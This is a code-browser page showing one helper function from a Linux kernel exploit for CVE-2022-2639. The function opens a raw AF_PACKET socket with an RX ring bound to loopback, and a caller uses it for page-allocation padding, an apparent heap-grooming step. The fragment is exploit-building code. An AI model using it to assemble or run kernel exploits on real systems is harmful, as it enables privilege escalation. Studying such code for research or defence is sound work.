MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / packet_socket_setup

Function packet_socket_setup

CVE-2022-2639/exploit.c:735–757  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

733}
734
735int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
736 unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
737 int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
738 if (s < 0)
739 die("socket(AF_PACKET): %m");
740
741 packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
742
743 struct sockaddr_ll sa;
744 memset(&sa, 0, sizeof(sa));
745 sa.sll_family = PF_PACKET;
746 sa.sll_protocol = htons(ETH_P_ALL);
747 sa.sll_ifindex = if_nametoindex("lo");
748 sa.sll_hatype = 0;
749 sa.sll_pkttype = 0;
750 sa.sll_halen = 0;
751
752 int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
753 if (rv < 0)
754 die("bind(AF_PACKET): %m");
755
756 return s;
757}
758
759int pagealloc_pad(int count, int size) {
760 return packet_socket_setup(size, 2048, count, 0, 100);

Callers 1

pagealloc_padFunction · 0.70

Calls 3

socketClass · 0.85
dieFunction · 0.50

Tested by

no test coverage detected